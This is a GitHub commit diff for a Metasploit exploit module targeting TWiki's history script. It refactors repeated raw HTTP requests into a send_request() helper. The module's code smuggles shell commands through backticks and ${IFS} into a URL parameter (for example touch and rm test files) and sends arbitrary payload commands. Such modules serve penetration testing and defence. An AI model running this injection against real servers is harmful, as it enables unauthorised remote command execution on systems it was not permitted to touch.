Skip to content

Commit 374e0ee

Browse files
committed
twiki_history: Add send_request() function
This is based on MR feedback
1 parent 9ec3a9f commit 374e0ee

File tree

1 file changed

+11
-17
lines changed

1 file changed

+11
-17
lines changed

modules/exploits/unix/webapp/twiki_history.rb

Lines changed: 11 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,12 @@ def initialize(info = {})
9191
)
9292
end
9393

94+
def send_request(uri)
95+
send_request_cgi({
96+
'uri' => uri
97+
}, 25)
98+
end
99+
94100
#
95101
# NOTE: This is not perfect, since it requires write access to the bin
96102
# directory. Unfortunately, determining the main directory isn't
@@ -106,9 +112,7 @@ def check
106112
vprint_status("URI: #{rev_url}")
107113

108114
# first see if it already exists (it really shouldn't)
109-
res = send_request_raw({
110-
'uri' => test_url
111-
}, 25)
115+
res = send_request(test_url)
112116
if (not res) or (res.code != 404)
113117
vprint_warning("The test file exists already! (HTTP #{res.code})")
114118
return Exploit::CheckCode::Unknown # Need to try again with a different file
@@ -117,10 +121,7 @@ def check
117121
# try to create it
118122
vprint_status("Attempting to create: #{test_url}")
119123
rev = "`touch${IFS}" + test_file + "`"
120-
uri = rev_url + Rex::Text.uri_encode(rev)
121-
res = send_request_raw({
122-
'uri' => uri
123-
}, 25)
124+
res = send_request(rev_url + Rex::Text.uri_encode(rev))
124125
if (not res) or (res.code != 200)
125126
vprint_warning("Error with exploit request (HTTP #{res.code}, should be 200)") unless res.code == 200
126127
return Exploit::CheckCode::Safe
@@ -129,9 +130,7 @@ def check
129130
# try to run it
130131
# 500 code == successfully made it
131132
vprint_status("Checking if created: #{test_url}")
132-
res = send_request_raw({
133-
'uri' => test_url
134-
}, 25)
133+
res = send_request(test_url)
135134
if (not res) or (res.code != 500)
136135
vprint_warning("Error with exploit request (HTTP #{res.code}, should be 500)") unless res.code == 500
137136
return Exploit::CheckCode::Safe
@@ -140,10 +139,7 @@ def check
140139
# delete the tmp file
141140
print_status("Attempting to delete: #{test_url}")
142141
rev = "`rm${IFS}-f${IFS}" + test_file + "`"
143-
uri = rev_url + Rex::Text.uri_encode(rev)
144-
res = send_request_raw({
145-
'uri' => uri
146-
}, 25)
142+
res = send_request(rev_url + Rex::Text.uri_encode(rev))
147143
if (not res) or (res.code != 200)
148144
vprint_warning("Error with exploit request (HTTP #{res.code}, should be 200)") unless res.code == 200
149145
print_warning("Unable to remove test file (#{test_file})")
@@ -175,9 +171,7 @@ def execute_command(cmd, _opts = {})
175171
uri = rev_url + Rex::Text.uri_encode(rev)
176172

177173
vprint_status("Sending payload")
178-
res = send_request_raw({
179-
'uri' => uri,
180-
}, 25)
174+
res = send_request(rev_url + Rex::Text.uri_encode(rev))
181175
vprint_status("Payload sent")
182176

183177
fail_with(Failure::Unknown, "Error sending exploit request") if res.nil?

0 commit comments

Comments
 (0)